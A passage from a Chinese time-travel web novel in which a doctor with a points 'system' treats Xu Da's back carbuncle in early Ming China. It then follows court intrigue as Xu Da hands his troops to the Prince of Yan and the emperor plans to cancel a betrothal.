里正连连点头,正要离开,却被马淳叫住:“等等。村里还有谁家女子受过这等委屈?”
“这……”里正犹豫片刻,“马大夫,这种事哪能随便说……”
马淳直视他的眼睛:“若再有类似情况,务必告诉我。”
里正被他看得有些不自在,含糊应了声便匆匆离去。
马淳走到药柜前,取出一包药。这是他用积分兑换的特效药,能治花柳病。
他原本准备给陶娘子夫妇的,现在只剩下一人份了。
“系统,再兑换十份这种药。”
【叮!扣除500积分,兑换成功。】
马淳将药包仔细收好。
他知道,在这世道,像陶娘子这样的女子还有很多。
他能救一个是一个。
……
傍晚时分,徐妙云再次来到医馆。
这次她换了一身素净的衣裙,戴着口罩,发间只簪了一支木钗。
“马大夫,我来还书。”她将一本马淳批注过的《九章算术》放在桌上。
马淳正在整理药材,抬头看了她一眼:“徐小姐对算学很感兴趣?”
徐妙云点头:“自幼便喜欢。马大夫那日的解法,比书上简洁许多。”
马淳擦净手,取出一张纸:“我写了几种新算法,徐小姐若有兴趣可以看看。”
徐妙云接过纸,眼中闪过惊喜。
就是这字嘛,似乎稍微丑了那么一点。
不过也正是这小小瑕疵,才让徐妙云觉得,马淳不是个完人,是个正常人。
她仔细阅读,不时提出疑问。马淳一一解答,两人越谈越投机。
不知不觉,天色已暗。
徐妙云意犹未尽地合上笔记:“马大夫博学多才,妙云受益匪浅。”
马淳摇头:“不过是些粗浅学问。徐小姐天资聪颖,一点就透。”
徐妙云犹豫片刻,轻声道:“家父想请马大夫过府一叙,不知……”
马淳打断她:“我只是一介乡野郎中,不便登门。”
“可是……”
“徐小姐,”马淳直视她的眼睛,“有些事,不知道比知道好。”
徐妙云怔了怔,随即会意。
她起身告辞:“那妙云改日再来请教。”
马淳送她到门口。
月光下,徐妙云的背影渐行渐远。
他知道,这个聪慧的女子已经明白了他的顾虑。
回到屋内,马淳继续整理药材。
桌上那本《九章算术》还留着徐妙云身上的淡淡香气。
他摇摇头,将书放到一旁。
在这个时代,有些界限,终究不能逾越……
第24章 女儿只是钦佩他的医术
夜色下。
徐妙云踩着青石板缓步走进内院。
徐达正在书房批阅军报,听到脚步声抬头望去。
烛光下女儿眉间那抹愁绪格外明显。
“妙云回来了?”徐达放下毛笔,“今日去小青村可有所得?”
徐妙云在父亲对面坐下,指尖无意识地摩挲着袖口绣纹。“见到了那位马大夫,确实医术高明。”
徐达注意到女儿语气中的异样,倒了杯热茶推过去。“怎么,遇上什么不顺心的事了?”
茶香氤氲中,徐妙云轻叹一声。“女儿只是觉得,马大夫这人……很特别。”
“哦?”徐达饶有兴致地捋了捋胡须,“怎么说?”
“他明明猜到了我们不是一般人,却刻意保持距离。”徐妙云捧着茶盏,热气模糊了她的眉眼,“今日女儿想邀他来府上做客,他直接拒绝了。”
徐达眼中精光一闪,忽然抚掌大笑:“妙!这才是聪明人!”
徐妙云诧异抬头。
“妙云你想想。”徐达压低声音,“以他救治皇后和皇长孙的功劳,陛下封个侯爵都不为过。可他偏偏不打听、不攀附,这才是真正的通透。”
烛花爆了个响,映得徐达眼中赞赏更浓。
“京城里那些蠢货,整日削尖脑袋打听这个巴结那个。反倒是这乡野郎中,懂得知道得越少越安稳的道理。”
徐妙云望着茶汤里浮沉的茶叶,声音轻得像叹息:“是啊,他连诊金都不多收,只说治病是本分。”
“更难得了。”徐达起身推开半扇窗,夜风裹着花香涌进来。“这样的人放在哪儿都是凤毛麟角。尤其是……”
他意味深长地看了女儿一眼,“猜到我们身份不凡后反而退避三舍,说明他不仅聪明,更有风骨。”
徐妙云指尖一颤,几滴茶水溅在手背上。她慌忙放下茶盏,掏出帕子擦拭。
徐达假装没看见女儿的失态,转身从书架上取下一个锦盒。
“这是北平送来的雪山参,你改日带去给马大夫,就说是我谢他指点你算学。”
徐妙云接过锦盒,冰凉的檀木触感让她稍稍镇定。“父亲似乎很欣赏他?”
“欣赏,也佩服。”徐达负手望向窗外月色,“在这世道能守住本心的人不多。他若生在乱世,必是嵇康那般人物。”
这话说得重,徐妙云心头一跳。
她自然知道父亲从不轻易拿古人作比。
夜风渐凉,徐达关窗转身。“妙云,为父有句话你要记住。”
“女儿听着。”
“马大夫这样的性子,越是看出你身份贵重,就越会敬而远之。”徐达目光如炬,“你若真对他……咳,总之强求不得。”
徐妙云耳根发烫,攥着锦盒的手指微微发白。“女儿只是钦佩他的医术。”
徐达不置可否地笑了笑。“去歇着吧,明日还要进宫请安。”
……
回到闺房,徐妙云让春桃备了热水。
氤氲水汽中,她望着铜镜里模糊的面容,忽然想起马淳那双平静如湖的眼睛。
那样一个人,明明有通天的手段,却甘愿窝在小村庄里。明明猜到了自己等人身份不凡,却连诊金都不肯多收。
春桃进来添热水,见她发呆,小声提醒:“小姐,水要凉了。”
徐妙云这才回神,慢慢解开发髻。青丝垂落,遮住了她微红的脸颊。
“春桃,你说世上真有人不在乎功名利禄吗?”
小丫鬟歪着头想了想:“奴婢见识浅,只觉得戏文里的神仙才这样。”
徐妙云轻笑出声,掬起一捧温水。“可他分明是个活生生的人。”
躺在床上时,远处传来更鼓声。
徐妙云辗转难眠,索性起身点了灯,翻开马淳批注过的算学笔记。
那些字迹算不上好看,却自有一股洒脱之气。
复杂的算题在他笔下化繁为简,就像他这个人,把纷扰世事都看得通透。
烛光摇曳,徐妙云忽然觉得胸口发闷。
她推开窗,夜风扑面而来,带着四月特有的草木清香。
这样的夜晚,小青村的医馆里,那人是不是也独对孤灯?是在研读医书,还是在为哪个素不相识的病患配药?
她想起今日离开时,马淳站在医馆门口的样子。
青衫落拓,身后是简陋的茅屋,却比京城那些金碧辉煌的殿宇更让人挪不开眼。
“小姐?”春桃揉着眼睛进来,“您怎么还不睡?”
徐妙云合上窗,吹灭了蜡烛。“这就睡。”
黑暗中,她把锦盒紧紧搂在怀里。雪山参的冷香透过檀木,让她想起那人身上淡淡的药草味。
那样的一个人,就像父亲说的,越是明白彼此云泥之别,就越会退避三舍。
可偏偏是这样的退避,最让人……
……
时间总是会冲淡一切。
转眼间半个月就过去。
清晨的阳光透过窗棂洒进医馆,马淳揉了揉酸胀的眼睛。
昨夜又熬到三更才睡,案头堆着的医书还摊开着。
他伸了个懒腰,起身推开窗户。
村道上已经有人走动。几个孩童嬉笑着跑过,手里攥着新摘的野花。马淳深吸一口气,空气中带着泥土和青草的味道。
“马大夫早啊!”隔壁的王婶挎着篮子经过,朝他招手。
马淳笑着点头:“王婶这么早就去摘菜?”
“可不是嘛,趁着露水没干,菜才鲜嫩。”王婶凑近几步,压低声音,“我家那口子说,多亏您给的热水瓶,他这老寒腿好多了。”
马淳摆摆手:“热水烫脚确实能缓解症状,您让他坚持用。”
王婶千恩万谢地走了。
马淳转身去后院打水洗漱。
井水冰凉,激得他一个激灵。
这半个月来,他每天都会烧上几大锅热水,让村民们晚上来取。
“系统,查看剩余积分。”马淳在心里默念。
“当前积分:50。”
马淳苦笑。这点积分连一包药都买不起。他望着灶台上最后一捆柴火,明天得想办法上山砍些柴了。
虽然积分所剩无几,但看着乡亲们脸上的笑容,他觉得值了。
洗漱完毕,马淳开始整理药材。
当归、黄芪、甘草……这些常用药得常备着。
他打开系统商城,看了眼所剩无几的积分,叹了口气。
“再撑两天吧。”他自言自语道。
正午时分,里正匆匆跑来:“马大夫,村口来了辆马车,说是找您的!”
马淳放下捣药杵,擦了擦手:“什么样的人?”
“看着像大户人家的,但很朴素。”里正搓着手,“说是姓徐。”
马淳心头一动。
这半个月徐妙云都没来过。
他整理了下衣袍,跟着里正往村口走去。
果然,徐妙云站在马车旁,一袭淡青色衣裙,发间只簪了一支木钗。见到马淳,她微微欠身:“打扰马大夫了。”
马淳拱手还礼:“徐小姐客气。”
徐妙云从袖中取出一个锦盒:“家父让我带些药材来,说是谢您指点我算学。”
马淳接过锦盒,入手沉甸甸的。打开一看,竟是一株品相极佳的雪山参。
“这太贵重了。”他合上盖子要退还。
徐妙云后退半步:“家父说,若您不收,便是瞧不起我们。”
马淳无奈,只得收下:“替我谢过令尊。”
两人并肩往医馆走,徐妙云忽然道:“马大夫,我今日来还有一事相求。”
“请讲。”
“家中有位长辈久咳不愈,想请您去看看。”徐妙云声音轻柔,“不知您可否出诊?”
马淳沉吟片刻:“病人在何处?”
“就在城中。”徐妙云眼中闪过一丝期待,“马车已经备好。”
马淳看了看天色:“容我准备些药材。”
回到医馆,他取出几样止咳的药材,又悄悄兑换了一瓶抗生素。
积分又少了些,但他已经习惯了。
正要出门,系统提示音突然响起。
【叮!救治关键人物,获得积分20000!】
马淳脚下一顿,差点绊倒。
徐妙云连忙扶住他:“马大夫没事吧?”
“没事。”马淳稳住身形,心中狂喜。
这两万积分来得太及时了,再晚几天他真要断炊了。
……
第25章 背疽
与此同时,皇宫大内。
太医跪在地上,声音发颤:“恭喜陛下,皇长孙脉象平稳,病症全消!”
朱元璋一把搂过朱雄英,老泪纵横:“好!好!”
马皇后抹着眼泪,对太子朱标道:“快去告诉你媳妇,孩子没事了。”
朱标红着眼眶点头,拉着太子妃常氏退下。常氏早已哭成泪人,此刻更是喜极而泣。
朱元璋抱着孙子转了个圈,忽然压低声音对太医道:“此事不得声张,明白吗?”
太医连连叩首:“臣明白!”
待太医退下,朱元璋摸着孙子的头,对马皇后道:“那小马大夫,当真是神了。”
马皇后含笑点头:“是啊,连太医都束手无策的病,他几副药就治好了。”
朱元璋眯起眼睛:“这小子倒沉得住气,至今不问咱们身份。”
“医者仁心,他眼里只有病人。”马皇后轻声道,“这样的性子,反倒让人放心。”
朱元璋若有所思地点点头。
另一边,马淳已经坐上徐家的马车。
车厢宽敞舒适,徐妙云坐在对面,指尖轻轻敲击着膝盖。
“马大夫近来可好?”她打破沉默。
马淳笑了笑:“托徐小姐的福,一切安好。”
“那日跳河的陶娘子……”徐妙云欲言又止。
“已经安葬了。”马淳望向窗外,“她父亲来谢过我,说女儿可以瞑目了。”
徐妙云轻叹一声:“马大夫仁心仁术,妙云敬佩。”
马车驶过青石板路,很快到了城中一处宅院。
门楣朴素,但守卫森严。
马淳目不斜视,跟着徐妙云穿过几重院落。
厅堂里,一位中年男子负手而立。
见到马淳,他拱手道:“久闻马大夫医术高明,今日老烦了。”
马淳还礼:“不敢当,略通皮毛而已。”
徐妙云介绍道:“这是家父。”
马淳心中了然,这位想必就是徐小姐口中的“长辈”了。
【叮!检测到附近有‘背部急性化脓性蜂窝织炎’患者出现!】
马淳眉头一凛,这不就是古代很多人一得就会死的那种背部感染?
就是所谓的背疽。
背疽主要由金黄色葡萄球菌或溶血性链球菌感染引起,这是一种在古代医疗条件下难以治愈的严重皮肤感染疾病。
由于古代缺乏抗生素和有效消毒手段,感染难以控制,中医虽尝试用火针排脓或外敷草药(如金黄散),但成功率极低。
背疽在古代是致命疾病,因医疗条件所限,许多名人因此丧命。
比如秦末项羽的谋士范增,因被项羽猜忌,愤而辞官,途中“疽发背而死”。
孟浩然因背疽未愈时与友人宴饮,病情恶化而亡。
汉末荆州刘表也是背疽而死。
而最著名的莫过于大明开国第一功勋徐达,也是因背疽而死。
当然有许多野史说朱元璋明知道徐达患有背疽,还赐烧鹅给他吃,说鹅肉是发物,会引起背疽发作。
这是纯扯淡。
民间传说朱元璋赐蒸鹅加速徐达死亡的说法,最早见于明代中后期野史,如徐祯卿《翦胜野闻》、王文禄《龙兴慈记》。
但这两部作品被清代学者赵翼等批为“传闻无稽之谈”。
科学上,鹅肉与背疽恶化的关联缺乏依据,且朱元璋若真有意杀徐达,无需用如此隐晦手段。
徐达死后获追封中山王,谥“武宁”,葬礼极尽哀荣。
朱元璋曾公开称赞徐达“不居功自傲”,且两人有姻亲关系,直接毒杀缺乏动机。
人徐达是因长期征战积劳成疾,最终死于背疽的自然恶化。野史中的“蒸鹅赐死”多为后世附会,正史及可靠史料均无此记载。
所以当系统检测到背疽患者,又姓徐,联想到现在是洪武十五年,而徐达是洪武十七年因为背疽而去世。
马淳心里已经有数,大概是八九不离十。
但他还是秉持着自己的原则,不牵连进政治旋涡,在朱元璋的时代,最好就做个隐于世俗的小大夫就行。
所以他并没说什么。
茶过三巡,徐达忽然闷咳几声。徐妙云急忙递上帕子,雪白绢面瞬间染了星点猩红。
“爹!”
徐达摆摆手:“老毛病了。”
马淳放下茶盏:“可否让晚辈诊脉?”
三指搭上腕间,脉象沉细如丝。
马淳眉头渐蹙,这脉象比他预想的还要凶险。
徐达却神色如常,仿佛被诊的不是自己。
“背疽?”马淳突然问。
徐达眼中精光一闪,随即笑道:“马大夫果然名不虚传。”
“能否让晚辈看看患处?”
徐妙云闻言退至屏风后。
徐达解开中衣,转身时背上一片紫红溃烂赫然入目。脓血浸透里衣,边缘皮肤已现青灰。
马淳倒吸凉气。
这伤势若再拖半月,怕是华佗再世也难救。他取出棉签轻触患处,徐达肌肉骤然绷紧,却一声不吭。
“化脓性蜂窝织炎。”马淳沉声道,“确实麻烦。”
屏风后传来瓷器轻碰声。
徐妙云转出来时眼圈发红,手中茶盏晃出几滴茶水。
“马大夫……”她声音发颤,“可有法子?”
马淳头也不抬道:“得先清创。”
徐达突然按住他手腕:“马大夫,老夫戎马半生,生死早看淡了。若事不可为……”
“爹!”徐妙云手中茶盏砰然落地。
她扑通跪在马淳面前,“求您救救我父亲!只要您肯救,妙云愿……”
马淳一把扶住她:“徐小姐这是做什么?”
他哭笑不得,“谁说不能治了?”
父女俩同时愣住。
马淳很有自信:“这病在旁人手里是绝症,在我这儿不过麻烦些,虽不能说十拿九稳,但也有九成半。不过得去我的医馆才行,做手术的器械和药物都在医馆。”
马车缓缓驶入小青村时,夕阳已经西沉。徐妙云掀开车帘一角,望着熟悉的村道,指尖不自觉地攥紧了帕子。
“马大夫,快到了。”她低声提醒。
马淳点点头,目光落在对面闭目养神的徐达身上。这位名将此刻眉头微蹙,呼吸略显沉重,显然背疽的疼痛已经让他难以忍受。
“徐伯父,再坚持片刻。”马淳轻声道,“到了医馆,我立刻为您处理。”
徐达睁开眼,勉强扯出一丝笑意:“无妨,老夫征战半生,这点疼算不得什么。”
可马淳知道,背疽在古代几乎等同于绝症。若再拖下去,即便以现代医学手段,恐怕也难以挽回。
马车在医馆门前停下,马淳率先跳下车,转身搀扶徐达。徐达身形魁梧,但此刻动作明显迟缓,下车的瞬间,后背肌肉绷紧,额角渗出细密的汗珠。
“爹!”徐妙云连忙上前扶住他,眼中满是担忧。
马淳推开医馆大门,迅速打开电灯,室内顿时亮堂起来。
他快步走向药柜,取出早已备好的手术器械和药物,一一摆在桌上……
第26章 难道要以身相许?
“徐伯父,请脱去上衣,俯卧在床上。”马淳一边说,一边点燃酒精灯,将手术刀和镊子置于火焰上消毒。
徐达依言照做,徐妙云则背过身去,站在窗边,手指紧紧绞着帕子。
马淳戴上橡胶手套——这是他用积分兑换的为数不多的现代医疗用品之一——随后检查徐达背部的患处。
皮肤已经呈现紫红色,中央溃烂化脓,边缘肿胀发硬,触之灼热。典型的化脓性蜂窝织炎,若不及时处理,感染会迅速扩散,甚至引发败血症。
“徐小姐。”马淳头也不抬地说道,“请去打一盆清水,再找一块干净的棉布。”
徐妙云立刻应声,快步走向后院。
马淳趁此机会,从系统兑换了一剂局部麻醉药和抗生素。针管刺入皮肤时,徐达肌肉微微绷紧,但一声不吭。
“会有些胀痛,很快就好。”马淳低声解释。
徐达只是“嗯”了一声。
徐妙云端着水盆回来时,马淳已经开始清创。锋利的刀尖划开化脓的皮肤,黄白色的脓液顿时涌出。
他用棉球蘸取酒精,仔细擦拭创面,随后以镊子夹出坏死组织。
整个过程中,徐达始终紧咬牙关,额头上冷汗涔涔,虽打了局部麻醉,却还会疼,但他硬是没发出一丝呻吟。
徐妙云站在一旁,脸色发白,手指死死攥着衣角。
“徐小姐。”马淳头也不抬,“若是受不了,可以先去外面等候。”
“不必。”她声音微颤,却坚定,“我就在这里。”
马淳不再多言,专注于手上的工作。
清创过程持续了半个时辰。马淳额头沁汗,手下却稳如磐石。当最后一块腐肉被切除,脓血引流完毕,他这才长舒口气。
清创完毕,他以生理盐水冲洗伤口,随后敷上抗生素药膏,再用无菌纱布包扎。
“好了。”他长舒一口气,摘下手套,“第一阶段处理完毕。”
他取出青霉素注射液,给徐达打上,“接下来需要连续治疗。”
徐妙云绞着帕子问:“要多久?”
“三个月。”马淳推完药水,又取出抗生素药片,“每日按时服药,每七天来复诊一次。”
徐达活动着肩膀,脸上露出难以置信的表情。
他试着扭动身子,原本火烧般的疼痛已经减轻大半。
“真的不疼了!”徐达声音发颤,“小马大夫,你真是神医!”
马淳正在收拾器械,闻言抬头笑了笑:“徐伯父言重了,只是清除了病灶,后续治疗还要跟上。”
徐妙云站在一旁,眼眶通红。她悄悄抹去眼角的泪水,手指紧紧攥着帕子。
“爹,您真的感觉好些了?”她声音哽咽。
徐达拍拍女儿的手背:“好多了!原本想着也就这一两年的活头,没想到还能治好,真是老天长眼!”
父女俩相视一笑,眼中满是劫后余生的喜悦。
马淳却神色严肃,转向徐妙云:“徐小姐,有几点必须注意。”
“您说。”
“第一,伤口绝不能碰水,否则极易二次感染。”马淳一字一句道,“第二,每七天过来我医馆换药。第三,徐伯父需静养,不可劳累,更不可饮酒。”
徐妙云郑重点头:“我记下了。”
马淳又看向徐达:“徐伯父,此病虽能治,但需严格遵医嘱。若因疏忽导致感染复发,后果不堪设想。”
徐达收起笑容,正色道:“马大夫放心,老夫绝不拿性命开玩笑。”
交代完后,马淳将用过的器械放入消毒柜,按下开关。
紫外线灯亮起,发出幽幽蓝光。
徐妙云好奇地看着这个奇怪的柜子:“马大夫,这是什么?”
“消毒用的。”马淳简单解释,“能杀死器械上的病菌。”
徐达眯起眼睛,打量着医馆里那些稀奇古怪的设备。
尤其是那盏不用火就能亮的灯,散发着柔和的白光。
“马大夫这些器具,老夫从未见过。”徐达试探着说。
马淳手上动作不停:“都是些治病的小玩意,不值一提。”
徐妙云与父亲交换了一个眼神。
他们都明白,这些绝非寻常之物。但马淳不愿多说,他们也不便追问。
毕竟眼前这个年轻人,刚刚救了徐达的命。
“马大夫。”徐妙云轻声道,“如此大恩,真不知该如何报答。”
马淳摇摇头:“治病救人,本就是我分内之事。”
徐达突然大笑:“好一个分内之事!马大夫年纪轻轻,却有这般胸襟,老夫佩服!”
他转向女儿,眼中闪着精光:“妙云啊,为父重活一次,决不能让你受委屈。”
徐妙云一愣,随即明白父亲话中深意。她脸颊顿时飞红,低头摆弄衣角。
“徐伯父,这是七天的药量。”马淳将几个药包递给徐达,“按时服用,切莫饮酒。”
徐达接过药,郑重地点头:“好!老夫都听你的。”
徐妙云看着马淳忙碌的背影,心中百感交集。
这个神秘的年轻大夫,医术高明却甘于平淡,明明猜到了他们的身份,却始终保持着恰到好处的距离。
“马大夫。”她鼓起勇气开口,“改日我还能来请教医术和算学吗?”
马淳回头,对上她期待的目光:“随时欢迎。”
徐达看着女儿微红的脸颊,又看看马淳清俊的侧脸,忽然抚掌而笑。
“好!真好!”他没头没尾地说。
徐妙云羞恼地瞪了父亲一眼:“爹!”
马淳装作没听见,继续整理药柜。但耳尖却悄悄红了。
夕阳西下,医馆里渐渐暗了下来。马淳点亮油灯,暖黄的光晕笼罩着三人。
“时候不早了,徐伯父该回去休息了。”马淳提醒道。
徐达活动了下肩膀,爽朗地说:“确实该走了。马大夫,改日老夫再来复诊。”
父女俩起身告辞。马淳送他们到门口,看着马车缓缓驶离。
返身回到医馆,马淳长舒一口气。
他望着桌上那盏油灯,思绪万千。
他知道所谓的‘徐伯父’‘徐小姐’很可能就是徐达和徐妙云父女。
但马淳不愿深究。在这个时代,知道的越少越安全。
他收拾好药箱,正准备关门,忽然发现桌上多了一个精致的荷包。
打开一看,里面竟是一块上好的玉佩。
马淳摇头苦笑,这想必是徐妙云留下的谢礼。
他将玉佩收好,打算下次见面时归还。
系统提示音突然响起。
【叮!救治关键人物,获得积分20000!】
嚯!又是两万积分。
他急忙打开系统查看余额。
【积分余额:39550】
好家伙有零有整。不过有如此多积分余额,他终于是有踏实感了。
他关好了医馆大门,走进了后院住的地方,然后花了20积分兑换了一桌海鲜大餐犒劳自己。
马淳这边吃得满嘴流油不说,回城的马车上,徐达看着女儿出神的侧脸,忽然开口:“妙云,你觉得马大夫如何?”
徐妙云一惊,手中的帕子差点掉落:“爹怎么突然问这个?”
徐达意味深长地笑了:“为父只是觉得,马大夫人品医术俱佳,是个难得的良配。”
“爹!”徐妙云羞得满脸通红,“您胡说什么呢!”
徐达哈哈大笑:“好好好,为父不说了。不过……”
他收起笑容,正色道:“马大夫这样的性子,越是看出咱们身份不凡,就越会敬而远之。你若真对他有意,恐怕要费些心思。”
徐妙云低头不语,手指无意识地绞着帕子……
第27章 徐达交兵权
坤宁宫的烛火在夜风中轻轻摇曳。
朱元璋放下手中的奏折,抬头望向殿外。徐达高大的身影正穿过庭院,步履稳健,丝毫看不出是个刚被治愈的病人。
“天德来了!”朱元璋大步迎上去,一把抓住徐达的肩膀,“听说你的背疽治好了?”
徐达躬身行礼:“托陛下洪福,臣已无大碍。”
马皇后从内殿走出,眼中满是欣喜:“天德气色好多了。”
徐达笑着拱手:“多亏那位马大夫,臣这条老命算是捡回来了。”
三人落座后,宫女奉上热茶。
朱元璋仔细打量着徐达的面色,果然比前些日子红润许多。
“那小马大夫当真神了。”朱元璋抚掌道,“连太医都束手无策的背疽,他竟能治好。”
徐达点头:“马大夫医术高明,更难得的是品性纯良。他明知臣身份不凡,却始终以寻常病患相待。”
马皇后轻抿一口茶:“这样的性子,在如今这世道实在难得。”
朱元璋忽然眯起眼睛:“天德,你这次进宫,不只是为了报喜吧?”
徐达放下茶盏,神色肃然:“陛下明鉴。臣此番前来,确有一事相求。”
殿内一时寂静,只听得烛花爆裂的轻响。
“臣需连续治疗三月,每日服药,七日一复诊。”徐达缓缓道,“北平军务繁重,臣恐难以兼顾。故请陛下准臣暂交兵权,由燕王代管北平防务。”
朱元璋手中的茶碗顿在半空。
站在一旁的朱标也微微睁大了眼睛。
“四弟?”朱标脱口而出,随即意识到失礼,连忙低头。
朱元璋慢慢放下茶碗,目光如炬:“天德,你这是第三次请辞兵权了。”
徐达坦然迎上皇帝的目光:“前两次是臣自觉年迈,恐误国事。这次却是因治病所需,不得不请。”
马皇后看看丈夫,又看看徐达,轻声道:“天德的病情确实需要静养。”
朱元璋沉默良久,忽然笑了:“好你个徐天德,这次倒是让咱找不出推脱的理由了。”
徐达起身行礼:“臣绝无他意,只为大明江山计。”
“咱知道。”朱元璋摆摆手,“你且坐下。标儿,去把老四叫来。”
朱标领命而去,心中却掀起波澜。
徐达此举分明是在为燕王铺路。
这位开国功臣一向谨慎,如今借治病之机交出兵权,既全了君臣之谊,又给了燕王建功立业的机会。
不多时,朱棣匆匆赶来。他一身戎装,显然刚从校场回来。
“儿臣参见父皇、母后。”朱棣行礼后,看到徐达也在,连忙拱手,“徐叔父安好。”
朱元璋直截了当:“老四,你徐叔要养病三月,北平军务暂由你接管。”
朱棣一怔,随即眼中闪过喜色,但很快压下:“儿臣年轻,恐难当此重任。”
徐达笑道:“燕王勇武过人,治军严明,正是最佳人选。”
朱元璋盯着儿子看了半晌,忽然问:“老四,若让你镇守北平,当以何为先?”
朱棣不假思索:“修城防,练精兵,抚流民,绝不容北元残部南下牧马!”
朱元璋满意地点头,转向徐达:“你看如何?”
徐达拱手:“燕王见识不凡,臣放心。”
事情就此定下。朱棣强忍激动,恭敬地站在一旁。他知道,这是父皇对他的考验,也是徐叔父给他的机会。
待朱棣退下后,朱元璋意味深长地看着徐达:“天德,你这步棋下得妙啊。”
徐达神色平静:“陛下过誉了。臣只是觉得,年轻人该多历练。”
朱元璋大笑:“好!那就这么定了。你安心养病,北平暂时交给老四。”
夜色渐深,徐达告退离去。
马皇后望着他的背影,轻叹一声:“天德这是怕你为难。”
其实这是大家都知道的事,分封亲王镇守九边,就是为了削弱淮西勋贵的兵权,将兵权收拢到皇家手上。
但北平太重要,徐达经营十几年,早已是固若金汤,北平大半功臣宿将都是徐达部将。
别的不说,就连公侯当中,如傅友德、冯胜之流都曾经在徐达手下听候调遣。
蓝玉这些年轻侯爵,在徐达面前更是小辈。
威隆如此之重,是不能轻易动的,一动就容易寒了军心。
这幸亏徐达是不居高自傲的人,这要是换了蓝玉,没两颗卵蛋吊着,他能直接飞天上去。
而现在徐达一旦宣传自己需要养病,暂时将兵权交给燕王,那就是给皇帝台阶下。
功臣宿将们不会寒心,燕王还能顺利接过军务。
朱元璋收起笑容,目光深沉:“咱知道。他向来如此,从不居功自傲。”
朱标忍不住问:“父皇,四弟他……”
“让他试试。”朱元璋打断长子的话,“是骡子是马,拉出来遛遛就知道了。”
……
与此同时,燕王府中灯火通明。
朱棣正在书房来回踱步,脸上掩不住兴奋。
“王爷,何事如此高兴?”道衍和尚缓步走入。
朱棣压低声音:“大师,徐叔父将北平兵权交予本王了!”
道衍眼中精光一闪:“恭喜王爷。此乃天赐良机。”
朱棣握紧拳头:“本王定要做出番事业来,不负徐叔父期望。”
道衍捻动佛珠:“王爷当以徐将军为楷模,既要有雷霆手段,更要有赤胆忠心。”
朱棣郑重点头。
他知道,这次机会来之不易。
徐叔父以养病为由交出兵权,既全了父皇的颜面,又给了他施展抱负的舞台。
夜风拂过庭院,带来远处更鼓之声。
朱棣望向北方,眼中燃起熊熊斗志。
……
而在皇宫深处,朱元璋独自站在殿前,望着满天星斗。
“马淳……”他低声念着这个名字,“你给咱解决了所有难题。”
这个神秘的年轻大夫,不仅救了他的孙儿,如今又治好了徐达。
更难得的是,他始终保持着恰到好处的距离,既不攀附权贵,也不故作清高。
朱元璋忽然笑了。
这样的性子,在这纷乱的朝堂上,反倒成了最安全的存在。
夜风吹动他的龙袍,月光将他的影子拉得很长。
这位开国皇帝心中清楚,徐达交出兵权,燕王接管北平,大明的棋局正在悄然变化。
而这一切,竟都源于一个小村庄里的大夫。
他转身对在烛火下围着笸箩纳鞋底的马皇后说道:“你看着吧,天德过两天就得来跟咱退老四的婚事。”
马皇后饶有兴趣地看了他一眼,接着边低头咬断线,边问道:“天德如果真要退亲,你答应吗?”
“能不答应吗?”朱元璋长叹一声,“人天德给了咱这么大一个台阶下,咱还强要人家闺女,显得咱多霸道似的。再说你没看老四那兴奋劲,徐天德不在北平他就是脱缰的野马,这要是强塞一个徐妙云给他,他做啥事北平的将士都不会服他。要那样,以老四的脾气,他能单枪匹马去跟北元鞑子拼命。到时候咱还能去给他收尸啊?”
马皇后噗嗤一声乐了。
她看得出来,朱元璋很满意徐妙云这个未来儿媳妇,但事情到这份了,总不能打击了自己亲儿子的士气。
所以这门亲事必须得退。
马皇后在边上不失时机地说道:“重八,说真的,天德对你真好,他真是明白人,知道你想什么,主动把事都办妥了,还办得这么体面。他这是在给老四铺路,也是在向你表明心迹啊!说实话我都觉得你愧对人天德。”
哈哈哈……
在徐达面前朱元璋不好表达出来,但被马皇后点破了小心思之后,他放声大笑,这的确是这几年来他最开心的一段时间。
最钟爱的发妻和最宠爱的嫡长孙相继被治好,而且有这么一位识大体、知进退的神医就在京城附近,完全保障了自家人的生命安全。
在自己最开心的时候,徐达这位第一功勋居然主动交还兵权,而且还是以治病为由交还兵权,甚至还愿意主动切割掉联姻,成全自家老四。
以后自家老四就能放肆地在北平统兵,将来成为拱卫自己儿子朱标的大将军王。
完美!
这还有更完美的事吗?
老天爷啊,你让马淳来到我大明,简直就是咱朱元璋天大的福音……
第28章 退亲
马皇后望着丈夫哼歌的背影,嘴角不自觉扬起笑意。
她已经很久没见到朱元璋这样放松了。
“重八,你小声些。”马皇后轻声提醒,“这都三更天了,别吵着宫人休息。”
朱元璋转过身来,脸上还带着未散的笑意。“妹子,咱高兴啊!你是不知道,这些日子压在咱心头的石头,今儿个全没了。”
他走到马皇后身边坐下,粗糙的大手覆上她的手背。
“雄英病好了,你身子也大安了,连天德的背疽都让那小马大夫治好了。最难得的是天德主动交出兵权,还愿意退了老四的婚事。这一桩桩一件件,哪件不是天大的好事?”
马皇后抿嘴一笑:“瞧把你乐的。天德这般识大体,你可不能亏待了他。”
“那是自然。”朱元璋拍拍胸脯,“咱明日就下旨,说老四和妙云八字不合,婚事作罢。绝不让徐家丫头受半点委屈。”
马皇后点点头,忽然想起什么:“对了,那小马大夫立下这么大功劳,你打算怎么赏他?”
朱元璋摸着下巴思索片刻。“这小子性子古怪,赏金银他未必稀罕,封官又怕束缚了他。不如就这样保持着不即不离的关系,那小子你赏赐越多,他越会觉得你看不起他。不要去打扰他,才是对他最好的赏赐。”
“这主意好。”马皇后赞同道,“那孩子看着就不是贪图富贵的人,这样的赏赐正合适。”
朱元璋压低声音:“妹子,你说这小马大夫到底是什么来路?他那医馆里的物件,咱见都没见过。”
马皇后摇摇头:“管他什么来路,能治病救人就是好的。我看那孩子心地纯善,对权贵不卑不亢,对百姓却格外耐心。这样的性子,在这世道实在难得。”
朱元璋深以为然。
他起身走到窗前,望着满天星斗。“咱有时候想,这马淳莫不是老天爷派来帮咱的?你病危时他来了,雄英病重时他来了,连天德的背疽他都能治。这一桩桩巧合,未免太巧了些。”
马皇后走到丈夫身旁,轻声道:“不管是不是天意,咱们都得记着这份恩情。”
朱元璋握住妻子的手,两人静静站在窗前。
夜风带着花香拂过,吹散了连日来的阴霾。
……
与此同时,徐府内院却是一片忙碌。
徐妙云指挥着丫鬟们收拾厢房,准备让父亲静养。
“把这床铺得软些,父亲背上有伤,不能睡太硬。”她轻声吩咐,“再去厨房熬些清粥,父亲刚用了药,不宜吃油腻的。”
徐达站在廊下,看着女儿忙前忙后,眼中满是欣慰。“妙云,别忙活了,为父没那么娇贵。”
徐妙云转身嗔道:“爹,马大夫说了您得静养,这些琐事交给女儿就好。”
徐达笑着摇摇头,走到院中石凳坐下。
他抬头望着星空,忽然问道:“妙云,你觉得马大夫这人如何?”
